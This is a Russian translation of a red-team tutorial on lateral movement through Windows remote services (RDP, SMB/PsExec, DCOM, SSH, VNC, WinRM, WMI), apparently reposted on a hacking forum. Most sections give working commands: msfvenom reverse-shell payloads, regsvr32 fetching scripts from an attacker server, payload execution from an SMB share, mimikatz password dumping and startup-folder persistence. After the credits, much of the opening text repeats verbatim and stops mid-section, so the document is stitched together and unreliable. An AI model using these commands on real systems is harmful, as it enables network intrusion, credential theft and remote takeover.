Введение
Во время проведения Red Team, после компрометации, злоумышленники, как правило, перемещаются по сети, получая более важную информацию о других системах. Это боковое перемещение возможно благодаря использованию множества двоичных файлов/сервисов/процессов. В этой статье мы сосредоточимся исключительно на горизонтальном перемещении с использованием удаленных служб, т. е. служб, которые могут помочь в выполнении кода/команд в удаленных системах путем получения недопустимого набора учетных данных. Часто внутри организации используется один и тот же набор учетных данных, и этот тип горизонтального перемещения становится очень простым и эффективным.
ТАКТИКА MITRE: Боковое движение (TA0008)
ИДЕНТИФИКАТОР ТЕХНИКИ MITRE: T1021 (удаленные службы)
Описание
Боковое перемещение очень полезно для сбора большего количества данных за счет компрометации большего количества систем, чем полагаться только на одну систему для получения более высоких привилегий и, в конечном итоге, для компрометации всей сети.
Некоторые службы специально разработаны для обеспечения удаленных сеансов и принимают соединения, если предоставлены действительные учетные данные. В доменных сетях эта базовая аутентификация заменяется Kerberos, однако набор действительных учетных данных по-прежнему можно использовать в сети и на нескольких устройствах. Например, учетная запись администратора отдела кадров может быть зарегистрирована в любой системе управления персоналом, и таким образом можно получить больше данных, перемещаясь в горизонтальном направлении.
Цель этой статьи — продемонстрировать как можно больше методов, используя наиболее известные удаленные сервисы, включая RDP, SSH и т. д. К концу статьи мы поговорим о таких сервисах, как mimikatz и wmi. Эти службы по существу используют одну или несколько комбинаций удаленных служб для предоставления удаленных сеансов.
Начнем сначала с RDP и постепенно перейдем к другим сервисам.
Лабораторная среда для атак
Для статьи у меня есть руках две заготовки. Первая — это настройка Active Directory с доменом "ignite.local", а вторая — простые 2 устройства Windows, подключенные мостом к системе Kali в среде без домена. Детали такие:
Боковое перемещение через RDP (T1021.001)
Согласно Microsoft ( https://docs.microsoft.com/en-us/tr.../remote/understanding-remote-desktop-protocol), RDP основан на семействе стандартов протоколов T-120 и является их расширением. Многоканальный протокол позволяет использовать отдельные виртуальные каналы для передачи следующей информации:
-презентационные данные
-последовательная связь устройств
-информация о лицензировании
-сильно зашифрованные данные, такие как клавиатура, активность мыши
Другими словами, он позволяет пользователю общаться с удаленным сервером, предоставляя ему полнофункциональный графический интерфейс.
Взлом RDP с помощью диспетчера задач
Когда вы подключаетесь к пользователю "Администратор"и открываете диспетчер задач → перейти к пользователям → вы увидите это, если пользователь "hex" в настоящее время вышел из системы, но существует.
Вы можете нажать на hex и выбрать подключение
Диспетчер задач теперь будет запрашивать учетные данные для пользователя hex.
Теперь вы успешно подключены к hex. Это можно подтвердить в cmd
Перехват RDP с помощью Tscon
tscon — это утилита Microsoft Windows, представленная в выпуске Windows Server 2012. Она используется для подключения к другому сеансу на сервере узла сеансов удаленных рабочих столов. Для работы требуется назначение и идентификатор сеанса. Учетные данные пользователя также можно передать в качестве параметров в tscon. Об этом подробнее здесь (https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/tscon).
Теперь интересно то, что если вам удалось получить разрешения уровня SYSTEM (NT AUTHORITY\SYSTEM), вы можете переключать сеансы RDP с помощью tscon без необходимости ввода пароля. Это работало на старых версиях Windows 10 безупречно. В новых версиях по-прежнему нужны пароли.
Итак, мы сначала получаем NT AUTHORITY\SYSTEM на нашей скомпрометированной системе с помощью psexec, а затем видим интерактивные сеансы. Мы переключаемся на нужный сеанс (здесь номер 3) и используем переключатель /DEST для переключения текущего соединения (rdp-tcp#9) с пользователем в 3-м сеансе.
whoami
psexec64.exe -s cmd
whoami
query user
cmd /k tscon 3 /DEST:rdp-tcp#9
Он немедленно откроет нового пользователя "hex" в том же подключении к удаленному рабочему столу! Это может проверить через whoami
Перехват RDP с помощью Mimikatz
Mimikatz включает модуль "ts" для работы с сеансами RDP. Это реализация tscon только с добавленными функциями mimikatz. Мы можем видеть активные сеансы пользователей, используя команду
ts::sessions
У нас есть отключенный пользователь hex с идентификатором сеанса 3. Давайте подключимся к нему. То, что мы сделали с помощью psexec, mimikatz делает автоматически, используя олицетворение токена для повышения привилегий.
privilege::debug
token::elevate
ts::remote /id:3
И тогда вам будет представлен удаленный рабочий стол пользователя hex.
Выполнение команд с проверкой подлинности SharpRDP
0xthirteen разработала инструмент SharpRDP (https://github.com/0xthirteen/SharpRDP ), который предоставляет различные методы и приемы для выполнения команд с проверкой подлинности с использованием RDP как услуги. Этот метод не будет включать перехват удаленных сеансов, а будет использовать информацию для входа в систему для обеспечения выполнения кода. Это достигается за счет использования библиотеки COM и mstscax.dll. Подробнее здесь (https://0xthirteen.com/2020/01/21/revisiting-remote-desktop-lateral-movement/) .
Сначала мы создадим полезную нагрузку
msfvenom -p windows/x64/shell_reverse_tcp lhost=192.168.0.89 lport=1337 -f exe > shell.exe
Далее мы разместим этот файл в нашем общем ресурсе SMB. Мы можем настроить общий ресурс вручную или использовать smbserver Impacket для создания временного общего ресурса с именем "sharename ".
smbserver.py sharename /root
Теперь, используя доступные нам учетные данные администратора удаленного пользователя, мы можем использовать SharpRDP для выполнения этого EXE-файла, указав путь UNC ниже.
SharpRDP.exe computername=DESKTOP-9GSGK09 command="cmd.exe /c \\192.168.0.89\sharename\shell.exe username=Administrator password=123
Как видите, удаленный сервер попал на наш SMB-сервер и получил файл
Мы успешно продвинулись таким образом!
Боковое перемещение через SMB (T1021.002)
SMB — это один из наиболее широко используемых сетевых протоколов, который позволяет пользователям взаимодействовать с удаленными системами по сети. Как правило, он используется для совместного использования файлов, принтеров, но, используя общие ресурсы с возможностью записи, его можно использовать для выполнения команд и, в конечном итоге, горизонтального перемещения.
PsExec SMB RCE
Многие инструменты, такие как psexec, используют SMB для выполнения команд с проверкой подлинности. Согласно Microsoft, "PsExec — это облегченная замена telnet, которая позволяет выполнять процессы в других системах с полной интерактивностью для консольных приложений без необходимости вручную устанавливать клиентское программное обеспечение. Наиболее мощные возможности использования PsExec включают запуск интерактивных командных строк на удаленных системах и инструменты удаленного включения, такие как IpConfig, которые в противном случае не имеют возможности отображать информацию об удаленных системах. Во-первых, давайте воспользуемся smbserver impacket, чтобы создать локальный общий ресурс SMB, на котором будет размещен наш вредоносный файл. Этот файл в конечном итоге будет записан на удаленных системах и выполнен для получения движения.
smbserver.py sharename /root
После этого мы создадим вредоносный файл, используя msfvenom.
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.0.89 LPORT=1337 -f exe > shell.exe
Теперь воспользуемся скомпрометированной системой и загрузим в нее psexec64.exe. Затем мы будем использовать следующую команду для запуска нашего вредоносного файла на указанном хосте.
psexec64.exe \\DESKTOP-9GSGK09 -u hex -p 123 cmd.exe /c \\192.168.0.89\sharename\shell.exe
Как видите, hex достиг нашего общего ресурса smb и загрузил файл.
А значит, мы успешно получили реверс шелл!
Создание процесса Sc.exe
sc.exe — это инструмент командной строки, который входит в состав Windows и предлагает функции для обслуживания и администрирования служб Windows NT. Это необязательный системный процесс, однако его можно использовать для создания процессов и выполнения в них DLL. Здесь мы создадим процесс "ignite " и используем метод regsvr для определения исполняемой DLL в этом процессе.
Во-первых, давайте настроим наш обработчик и сгенерируем код regsvr с помощью Metasploit.
use exploit/multi/script/web_delivery
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.0.89
set LPORT 1234
set target 3
run
Теперь полученный код regsvr можно включить в команду sc.exe binpath. Следующая команда создает процесс ignite с приведенным выше кодом. Дальше начинается так же. Обратите внимание, что "DESKTOP-9GSGKO9" — это целевая система Windows, в которой должен выполняться код.
sc \\DESKTOP-9GSGKO9 create ignite binpath= "C:\Windows\System32\regsvr32 /s /n /u /i:http://192.168.0.89:8080/nGU8JQ0b9OjF.sct scrobj.dll"
sc \\DESKTOP-9GSGKO9 start ignite
Как видите, была получена ошибка запуска службы, но это потому, что предоставленная нами DLL недействительна. Он все равно выполнит нашу DLL и даст нам обратную оболочку! Здесь у нас были полномочия администратора над доступными для записи общими ресурсами в удаленной системе, поэтому мы получили привилегию NT AUTHORITY\SYSTEM, но в зависимости от ваших прав это может отличаться.
Metasploit SMB Remote PsExec
Существует модуль Metasploit psexec, который может скомпрометировать удаленную систему, если SMB доступен на цели и предоставленные учетные данные действительны. Здесь, скажем, мы получили учетные данные SMB Administrator:123, мы можем использовать эти учетные данные по сети и скомпрометировать другие системы с тем же набором учетных данных. Здесь, как видите, мы установили пейлоад meterpreter и при успешном выполнении получили веб-шелл!
use exploit/windows/smb/psexec
set payload windows/x64/meterpreter/reverse_tcp
set RHOSTS 192.168.0.119
set SMBUSER Administrator
set SMBPASS 123
set LHOST 192.168.0.89
set LPORT 4444
exploit
Cmd.exe SMB RCE
Cmd.exe в Windows также может выполнять команды в удаленной системе, если у пользователя есть доступ на запись к критически важным общим ресурсам, таким как C$, ADMIN$ и т. д., cmd.exe может копировать файл в такие места, как C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp и получить персистенс в сочетании с боковым движением.
Однако в этом примере мы просто запустим простую команду regsvr и запишем ее вывод в файл с именем ignite в общей папке ADMIN$, демонстрируя возможность записи команды.
use exploit/multi/script/web_delivery
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.0.89
set LPORT 1234
set target 3
run
Теперь мы запускаем это с помощью cmd.
cmd.exe /Q /c "C:\Windows\System32\regsvr32 /s /n /u /i:http://192.168.0.89:8080/jqVdIASVxjl4T.sct scrobj.dll" 1> \\127.0.0.1\ADMIN$\ignite 2>&1
Это дает нам обратную оболочку!
Как видите, выходной файл был создан в указанном нами удаленном общем ресурсе. Хотя вывода не было, поэтому файл пустой, но он был создан.
Другим примером этого может быть запись bat-файла в удаленный общий ресурс жертвы 192.168.0.120, который сохранит нашу команду выполнения полезной нагрузки в StartUp, и это будет выполнено при следующем перезапуске системы.
cmd.exe /Q /c "echo ‘cmd.exe /c \\192.168.0.89\sharename\shell.exe’" 1> \\192.168.0.120\C$\ ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ignite.bat 2>&1
SharpMove.exe SMB RCE
0xthirteen разработал сценарий C# под названием SharpMove, который использует множество различных удаленных служб для выполнения кода. Он может использовать общий ресурс SMB в удаленной системе для выполнения кода. Он также может попытаться отключить AMSI в качестве дополнительного бонуса. В этом примере мы изменим существующую службу, введя в нее собственный код. Мы только что создали службу под названием "ignite" при демонстрации sc.exe, давайте изменим эту службу. Выполнение в системе с именем хоста "DESKTOP-9GSGK09" может быть достигнуто следующим образом:
SharpMove.exe action=modsvc computername=DESKTOP-9GSGKO9 command="cmd.exe /c \\192.168.0.89\sharename\shell.exe" amsi=true servicename=ignite username=Administrator password=123
Как видите, SharpMove.exe обновил путь к служебному binpath, и обратная оболочка была успешно получена.
Боковое перемещение через DCOM (T1021.003)
Согласно Microsoft, "Модель Microsoft Component Object Model (COM (https://docs.microsoft.com/en-gb/windows/win32/com/the-component-object-model?redirectedfrom=MSDN)) — это независимая от платформы, распределенная, объектно-ориентированная система для создания двоичных программных компонентов, которые могут взаимодействовать. COM является базовой технологией для Microsoft OLE (составные документы), ActiveX (интернет-компоненты), а также других.
Это не язык программирования, а стандарт, применимый только к коду, скомпилированному в двоичный код. Такие языки программирования, как C++, предоставляют простые механизмы для работы с COM-объектами. C, Java также реализуют COM".
COM-объект — это объект, в котором доступ к данным объекта достигается исключительно через один или несколько наборов связанных функций. Эти наборы функций называются интерфейсами, а функции интерфейса называются методами. Кроме того, СОМ требует, чтобы единственный способ получить доступ к методам интерфейса — через указатель на интерфейс. Другими словами, COM позволяет двоичному файлу взаимодействовать с другими программными объектами или исполняемыми файлами, реализуя объекты, которые могут вызывать библиотеки DLL и EXE. DCOM (Distributed COM) (https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dcom/4a893f3d-bd29-48cd-9f43-d9777a4415b0?redirectedfrom=MSDN)— это промежуточное программное обеспечение, которое расширяет функциональность COM за пределы локального компьютера с помощью технологии удаленного вызова процедур (RPC).
По умолчанию только администраторы могут удаленно активировать и запускать COM-объекты через DCOM.
DCOM может выполнять макросы в документах Office, а также удаленно взаимодействовать с WMI, открывая атакуемый домен для широкого спектра векторов.
Обратите внимание, что эта атака работает в системе, присоединенной к домену. Удаленное взаимодействие DCOM по умолчанию недоступно в сетях. Чтобы включить удаленное взаимодействие DCOM, требуется некоторый магический код, который не входит в предмет этой статьи. (Хотя я сделал это и использую для этого систему, не присоединенную к домену)
Mmc20.application удаленный DCOM
Вы используете Microsoft Management Console (MMC) для создания, сохранения и открытия инструментов администрирования, называемых консолями, которые управляют оборудованием, программным обеспечением и сетевыми компонентами вашей операционной системы Microsoft Windows. MMC работает на всех клиентских операционных системах, которые в настоящее время поддерживаются. Здесь используется метод Enigma0x3 (ссылка здесь (https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)).
Во-первых, давайте посмотрим запись реестра mmc20.application с помощью powershell. ProgID требуется для создания своего экземпляра в удаленной системе. Далее мы создадим новый экземпляр этой программы mmc20 в нашей целевой системе (192.168.0.119) с помощью Powershell.
Get-ChildItem 'registry::HKEY_CLASSES_ROOT\WOW6432Node\CLSID\{49B2791A-B1AE-4C90-9B8E-E860BA07F889}'
$dcom = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1","192.168.0.119"))
Мы создали объект с именем $dcom, который порождает различные функции, которые может выполнять mmc. Одним из таких является ExecuteShellCommand.
Мы будем использовать эту функцию для выполнения команды на этом удаленном объекте DCOM, созданном таким образом.
$dcom.Document.ActiveView.ExecuteShellCommand("cmd",$null,"/c \\192.168.0.89\sharename\shell.exe > output.txt","7")
При успешном выполнении мы видим попадание на наш SMB-сервер, исполняемый файл загружается и выполняется.
Это дает нам хорошую обратную оболочку, и, следовательно, боковое движение было достигнуто!
Боковое перемещение через SSH (T1021.004)
SSH — это наиболее широко используемый кроссплатформенный протокол, который позволяет пользователю подключаться к удаленным сеансам, а также позволяет копировать файлы. Часто в корпоративной среде используются разные подсети, которые могут быть недоступны для злоумышленника напрямую из-за ограничений брандмауэра или из-за другого сетевого интерфейса. В таких сценариях боковое перемещение через SSH может открыть множество вариантов для злоумышленника. Давайте посмотрим некоторые методы.
Перенаправление портов SSH
Чтобы ознакомиться с подробными примерами использования и руководством по переадресации портов, я настоятельно рекомендую прочитать эту статью ( https://www.hackingarticles.in/comprehensive-guide-on-ssh-tunneling/). Мы берем простой сценарий здесь. Наш целевой сервер имеет следующий IP-адрес и имя пользователя
Теперь мы успешно скомпрометировали систему с именем пользователя "hex", которая имеет 2 сетевые карты. Один в той же сети, что и наш атакующий компьютер, и один в сети нашего целевого сервера.
И, как вы можете видеть, наша машина злоумышленника находится в другой подсети, чем наш пункт назначения, и ping не достигает ее, поэтому она недоступна напрямую.
Чтобы настроить переадресацию локального порта, которая позволяет нам перенаправлять любой входящий трафик на определенный порт на целевой сервер, мы следуем следующей схеме:
ssh -L LOCAL_PORT
EST_IP
EST_PORT COMPROMISED_USERNAME@COMPROMISED_SERVER
После этого мы должны указать пароль.
ssh -L 7000:192.168.179.130:22 hex@192.168.0.119
После успешной настройки мы теперь сможем подключиться к целевому серверу! Во-первых, убедитесь, что в файле known_hosts нет уже существующих записей localhost (используя ssh-keygen -R)
ssh-keygen -R 127.0.0.1
ssh server@127.0.0.1 -p 7000
Как видите, мы успешно подключились к месту назначения!
Боковое перемещение через VNC (T1021.005)
VNC или виртуальные сетевые вычисления — это служба, использующая протокол удаленного буфера кадров для обеспечения графического удаленного доступа к другой системе. Это интерактивный сеанс, поскольку пользователь может вводить данные с помощью мыши и клавиатуры через VNC в исходную систему. Такое определение кажется очень похожим на протокол удаленного рабочего стола, который мы обсуждали некоторое время назад, но между ними есть заметная разница. VNC не зависит от платформы, что означает, что он может работать с Linux и Windows, тогда как RDP может работать только между двумя компьютерами Windows.
Согласно MITRE, "Злоумышленники могут злоупотреблять VNC для выполнения вредоносных действий от имени вошедшего в систему пользователя, таких как открытие документов, загрузка файлов и выполнение произвольных команд. Злоумышленник может использовать VNC для удаленного управления и мониторинга системы, сбора данных и информации для перехода к другим системам в сети".
Давайте посмотрим на один из таких методов.
Полезная нагрузка VNCinject
Vncinject — это полезная нагрузка, доступная для использования с msfvenom. Она устанавливает отражающую DLL vnc в системе злоумышленника и обратно подключается к системе злоумышленника. Можно отметить, что для дальнейшего горизонтального перемещения с его помощью его можно хранить в общем ресурсе, а также можно использовать метод удаленного исполнения, такой как psexec.
Давайте сначала создадим полезную нагрузку и разместим ее на нашем веб-сервере для загрузки и выполнения в системе.
msfvenom -p windows/x64/vncinject/reverse_tcp lhost=192.168.1.4 lport=4532 -f exe > vnc.exe
Теперь мы заставим нашу жертву выполнить эту полезную нагрузку. Это можно сделать, отправив фишинговые ссылки и т. д. Для простоты мы просто используем powershell wget для загрузки и выполнения (моделирование)
powershell wget 192.168.1.4/vnc.exe -O vnc.exe
vnc.exe
Теперь настраиваем multi/handler и ждем обратного вызова. После успешного выполнения мы получаем обратный вызов в нашей консоли.
use multi/handler
set payload windows/x64/vncinject/reverse_tcp
set lhost 192.168.1.4
set lport 4532
run
Через некоторое время мы получим полноценный сеанс VNC, и боковое движение достигнуто!
Примечание. Чтобы узнать больше о пентесте VNC, прочитайте нашу статью здесь ( https://www.hackingarticles.in/vnc-penetration-testing/) .
Боковое перемещение через WinRM (T1021.006)
WinRM — это инструмент командной строки, который позволяет администраторам удаленно выполнять команды CMD.exe с использованием протокола WS-Management. Эта спецификация описывает общий протокол на основе SOAP для управления такими системами, как ПК, серверы, устройства, веб-службы, другие приложения и другие управляемые объекты. Он использует порт 5985 для транспорта HTTP и порт 5986 для транспорта HTTPS.
В серверной и клиентской версиях операционной системы Windows Enable-PSRemoting позволяет администратору получить доступ к удаленной оболочке с помощью Powershell для частных и доменных сетей через службу WinRM.
Прочтите здесь ( https://docs.microsoft.com/en-gb/wi...windows-remote-management?redirectedfrom=MSDN) документацию Microsoft о WinRM
Во-первых, для настройки WinRM нам нужно выполнить следующие команды только в окне Admin Powershell. Это активирует winrm, разрешит HTTP-соединение (поскольку по умолчанию для HTTPS в системе нет SSL-сертификата) и разрешит всем пользователям, добавив их в доверенные хосты.
Enable-PSRemoting -Force
winrm quickconfig
winrm set winrm/config/service '@{AllowUnencrypted="true"}'
Set-Item WSMan:localhost\client\trustedhosts -value *
Для службы WinRM мы также можем вручную просмотреть конфигурацию и установить/изменить любое значение.
cd WSMan:\localhost\Client
set-item .\allowunencrypted $true
В доменной среде часто такие инструменты, как WinRS, не работают из-за Kerberos. Следовательно, нам нужно активировать базовый механизм аутентификации.
set-item WSMan:\localhost\Service\Auth\Basic $true
set-item WSMan:\localhost\Service\AllowUnencrypted $true
New-PSSession Powershell
Команда New-PSSession в powershell создает новый постоянный удаленный сеанс powershell. Предоставляя удаленные учетные данные, вы видите, что мы подключились к серверу. Полезно в сценариях, когда одна система имеет доступ к целевому/целевому серверу, и нам нужно подключиться к нему, но наша система злоумышленника не может до него добраться.
Мы можем выполнить вредоносный исполняемый файл, который мы сохранили в нашем общем ресурсе SMB, для дальнейшего горизонтального перемещения.
New-PSSession -ComputerName 192.168.1.2 -Credential (Get-Credential)
Enter-PSSession 2
cmd.exe /c \\192.168.1.4\sharename\shell.exe
Видите ли, теперь сервер обходит входящие соединения брандмауэра, которые ограничивали подключение пользователя к нему. Вместо этого мы заставили сервер подключаться к нам!
Это дает нам аккуратную обратную оболочку!
Вызов команды Powershell
Invoke-Command — это командлет в Powershell, который запускает указанные команды в удаленных системах с помощью взаимодействия с WinRM. Администраторы используют это для автоматической установки инструментов/программного обеспечения и т. д. Но его можно использовать и для бокового движения. Указав нашу команду в "scriptblock", мы можем ее выполнить. Флаг "-Credential" позволяет пользователю вводить учетные данные, которые также можно заменить, создав блок и передав его в STDIN.
Это дает нам нашу оболочку.
Winrs
Winrs означает удаленную оболочку Windows и совпадает с New-PSSession. Он существует в Windows с Server 2008. Winrs можно использовать для выполнения кода в удаленной системе. Он использует только базовую аутентификацию. Итак, shell.exe, хранящийся в нашем smbshare, может быть выполнен так:
winrs /r:dc1 /username:Administrator /password:Ignite@987 "cmd.exe /c \\192.168.1.4\sharename\shell.exe"
Что дает нам реверс шелл!
Evil -Winrm
Evil-WinRM — очень популярный инструмент, используемый Red Teamers для горизонтального перемещения по сети с использованием WinRM. В фоновом режиме он также использует возможности удаленной оболочки Windows, но поверх него добавлены некоторые изящные функции. Он написан на руби и может быть установлен с помощью gem install evil-winrm. После установки его можно использовать для подключения к удаленному серверу, например:
evil-winrm -i 192.168.1.2 -u Administrator -p 'Ignite@987'
Теперь я создал папку с именем двоичные файлы в каталоге /root, которая включает сценарий powershell Mimikatz (найден здесь).
Evil-WinRM может загрузить эти сценарии PowerShell (хранящиеся в папке) и позволить нам выполнять его функции PowerShell! Для этого мы используем -s и указываем путь к папке с двоичными файлами. После этого мы можем использовать Invoke-Mimikatz, и, как видите, mimikatz сработал и сбросил кешированные пароли на сервер.
evil-winrm -i 192.168.1.2 -u Administrator -p 'Ignite@987' -s '/root/binaries'
Invoke-Mimikatz.ps1
Invoke-Mimikatz
Боковое движение через Mimikatz
Mimikatz содержит множество опций, которые помогают при боковом движении. Одним из таких является сброс паролей. Мы можем сделать это с помощью модуля sekurlsa:
privilege::debug
sekurlsa::logonpasswords
Эти хэши можно использовать с psexec для проведения хэш-атак!
Боковое перемещение через WMI
Утилита командной строки WMI (WMIC) предоставляет интерфейс командной строки для инструментария управления Windows (WMI).WMIC совместим с существующими оболочками и служебными командами. Wmi также можно использовать для удаленного выполнения команд. Это достигается с помощью флага /node. Например, в приведенном ниже примере мы создаем новый вызов процесса, который будет выполнять нашу оболочку, хранящуюся на нашем сервере SMB на узле 192.168.1.2.
wmic /node:192.168.1.2 /user:administrator process call create "cmd.exe /c \\192.168.1.4\sharename\shell.exe"
Как видите, выполнение прошло успешно и мы получили реверс шелл
Боковое перемещение через Invoke-WmiMethod
Как и для любой хорошей утилиты, существовавшей в Windows в виде бинарного файла, Microsoft создала для нее эквивалентный командлет powershell. Invoke-WmiMethod — это командлет, который делает то же самое, что и wmic в приведенном выше примере. Более новый Invoke-CimMethod в PS 5.1+ делает то же самое. Обратитесь сюда. (https://docs.microsoft.com/en-us/powershell/module/cimcmdlets/invoke-cimmethod?view=powershell-5.1)
Чтобы использовать Invoke-WmiMethod с помощью CLI, нам нужно создать команду. Спасибо @spotheplanet за эту технику (https://www.ired.team/offensive-security/lateral-movement/t1175-distributed-component-object-model). Мы также можем использовать общий Invoke-WmiMethod, но для этого требуется графический интерфейс, которого у нас обычно нет в сценариях Red Team.
В этом методе мы создадим вредоносный файл MSI и установим его на целевой сервер.
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.4 LPORT=1337 -f msi > shell.msi
Теперь в CLI скомпрометированной жертвы мы вводим следующую команду. Эта команда в основном предоставляет учетные данные (Администратор: Ignite@987) для Invoke-WmiMethod и устанавливает файл MSI, помещенный в нашу общую папку SMB.
$username = 'Administrator';$password = 'Ignite@987';$securePassword = ConvertTo-SecureString $password -AsPlainText -Force; $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword; Invoke-WmiMethod -Path win32_product -name install -argumentlist @($true,"","\\192.168.1.4\sharename\shell.msi") -ComputerName dc1 -Credential $credential
На нашем реверс прослушателе вы можете видеть, что появилась стабильная оболочка!
Заключение
Боковое перемещение является важным шагом в Red Teaming, поскольку оно ведет к повышению привилегий и компрометации сети. В статье говорилось об удаленных службах и о том, как их можно использовать для сценариев бокового перемещения во время оценок Red Team. Эти сервисы изначально имеют возможность взаимодействовать с удаленными системами. Такие приемы мы продемонстрировали в статье.
Переведено специально для xss.pro
Автор перевода: yashechka
Источник: https://www.hackingarticles.in/lateral-movement-remote-services-mitret1021/
Во время проведения Red Team, после компрометации, злоумышленники, как правило, перемещаются по сети, получая более важную информацию о других системах. Это боковое перемещение возможно благодаря использованию множества двоичных файлов/сервисов/процессов. В этой статье мы сосредоточимся исключительно на горизонтальном перемещении с использованием удаленных служб, т. е. служб, которые могут помочь в выполнении кода/команд в удаленных системах путем получения недопустимого набора учетных данных. Часто внутри организации используется один и тот же набор учетных данных, и этот тип горизонтального перемещения становится очень простым и эффективным.
ТАКТИКА MITRE: Боковое движение (TA0008)
ИДЕНТИФИКАТОР ТЕХНИКИ MITRE: T1021 (удаленные службы)
Описание
Боковое перемещение очень полезно для сбора большего количества данных за счет компрометации большего количества систем, чем полагаться только на одну систему для получения более высоких привилегий и, в конечном итоге, для компрометации всей сети.
Некоторые службы специально разработаны для обеспечения удаленных сеансов и принимают соединения, если предоставлены действительные учетные данные. В доменных сетях эта базовая аутентификация заменяется Kerberos, однако набор действительных учетных данных по-прежнему можно использовать в сети и на нескольких устройствах. Например, учетная запись администратора отдела кадров может быть зарегистрирована в любой системе управления персоналом, и таким образом можно получить больше данных, перемещаясь в горизонтальном направлении.
Цель этой статьи — продемонстрировать как можно больше методов, используя наиболее известные удаленные сервисы, включая RDP, SSH и т. д. К концу статьи мы поговорим о таких сервисах, как mimikatz и wmi. Эти службы по существу используют одну или несколько комбинаций удаленных служб для предоставления удаленных сеансов.
Начнем сначала с RDP и постепенно перейдем к другим сервисам.
Лабораторная среда для атак
Для статьи у меня есть руках две заготовки. Первая — это настройка Active Directory с доменом "ignite.local", а вторая — простые 2 устройства Windows, подключенные мостом к системе Kali в среде без домена. Детали такие:
Боковое перемещение через RDP (T1021.001)
Согласно Microsoft ( https://docs.microsoft.com/en-us/tr.../remote/understanding-remote-desktop-protocol), RDP основан на семействе стандартов протоколов T-120 и является их расширением. Многоканальный протокол позволяет использовать отдельные виртуальные каналы для передачи следующей информации:
-презентационные данные
-последовательная связь устройств
-информация о лицензировании
-сильно зашифрованные данные, такие как клавиатура, активность мыши
Другими словами, он позволяет пользователю общаться с удаленным сервером, предоставляя ему полнофункциональный графический интерфейс.
Взлом RDP с помощью диспетчера задач
Когда вы подключаетесь к пользователю "Администратор"и открываете диспетчер задач → перейти к пользователям → вы увидите это, если пользователь "hex" в настоящее время вышел из системы, но существует.
Вы можете нажать на hex и выбрать подключение
Диспетчер задач теперь будет запрашивать учетные данные для пользователя hex.
Теперь вы успешно подключены к hex. Это можно подтвердить в cmd
Перехват RDP с помощью Tscon
tscon — это утилита Microsoft Windows, представленная в выпуске Windows Server 2012. Она используется для подключения к другому сеансу на сервере узла сеансов удаленных рабочих столов. Для работы требуется назначение и идентификатор сеанса. Учетные данные пользователя также можно передать в качестве параметров в tscon. Об этом подробнее здесь (https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/tscon).
Теперь интересно то, что если вам удалось получить разрешения уровня SYSTEM (NT AUTHORITY\SYSTEM), вы можете переключать сеансы RDP с помощью tscon без необходимости ввода пароля. Это работало на старых версиях Windows 10 безупречно. В новых версиях по-прежнему нужны пароли.
Итак, мы сначала получаем NT AUTHORITY\SYSTEM на нашей скомпрометированной системе с помощью psexec, а затем видим интерактивные сеансы. Мы переключаемся на нужный сеанс (здесь номер 3) и используем переключатель /DEST для переключения текущего соединения (rdp-tcp#9) с пользователем в 3-м сеансе.
whoami
psexec64.exe -s cmd
whoami
query user
cmd /k tscon 3 /DEST:rdp-tcp#9
Он немедленно откроет нового пользователя "hex" в том же подключении к удаленному рабочему столу! Это может проверить через whoami
Перехват RDP с помощью Mimikatz
Mimikatz включает модуль "ts" для работы с сеансами RDP. Это реализация tscon только с добавленными функциями mimikatz. Мы можем видеть активные сеансы пользователей, используя команду
ts::sessions
У нас есть отключенный пользователь hex с идентификатором сеанса 3. Давайте подключимся к нему. То, что мы сделали с помощью psexec, mimikatz делает автоматически, используя олицетворение токена для повышения привилегий.
privilege::debug
token::elevate
ts::remote /id:3
И тогда вам будет представлен удаленный рабочий стол пользователя hex.
Выполнение команд с проверкой подлинности SharpRDP
0xthirteen разработала инструмент SharpRDP (https://github.com/0xthirteen/SharpRDP ), который предоставляет различные методы и приемы для выполнения команд с проверкой подлинности с использованием RDP как услуги. Этот метод не будет включать перехват удаленных сеансов, а будет использовать информацию для входа в систему для обеспечения выполнения кода. Это достигается за счет использования библиотеки COM и mstscax.dll. Подробнее здесь (https://0xthirteen.com/2020/01/21/revisiting-remote-desktop-lateral-movement/) .
Сначала мы создадим полезную нагрузку
msfvenom -p windows/x64/shell_reverse_tcp lhost=192.168.0.89 lport=1337 -f exe > shell.exe
Далее мы разместим этот файл в нашем общем ресурсе SMB. Мы можем настроить общий ресурс вручную или использовать smbserver Impacket для создания временного общего ресурса с именем "sharename ".
smbserver.py sharename /root
Теперь, используя доступные нам учетные данные администратора удаленного пользователя, мы можем использовать SharpRDP для выполнения этого EXE-файла, указав путь UNC ниже.
SharpRDP.exe computername=DESKTOP-9GSGK09 command="cmd.exe /c \\192.168.0.89\sharename\shell.exe username=Administrator password=123
Как видите, удаленный сервер попал на наш SMB-сервер и получил файл
Мы успешно продвинулись таким образом!
Боковое перемещение через SMB (T1021.002)
SMB — это один из наиболее широко используемых сетевых протоколов, который позволяет пользователям взаимодействовать с удаленными системами по сети. Как правило, он используется для совместного использования файлов, принтеров, но, используя общие ресурсы с возможностью записи, его можно использовать для выполнения команд и, в конечном итоге, горизонтального перемещения.
PsExec SMB RCE
Многие инструменты, такие как psexec, используют SMB для выполнения команд с проверкой подлинности. Согласно Microsoft, "PsExec — это облегченная замена telnet, которая позволяет выполнять процессы в других системах с полной интерактивностью для консольных приложений без необходимости вручную устанавливать клиентское программное обеспечение. Наиболее мощные возможности использования PsExec включают запуск интерактивных командных строк на удаленных системах и инструменты удаленного включения, такие как IpConfig, которые в противном случае не имеют возможности отображать информацию об удаленных системах. Во-первых, давайте воспользуемся smbserver impacket, чтобы создать локальный общий ресурс SMB, на котором будет размещен наш вредоносный файл. Этот файл в конечном итоге будет записан на удаленных системах и выполнен для получения движения.
smbserver.py sharename /root
После этого мы создадим вредоносный файл, используя msfvenom.
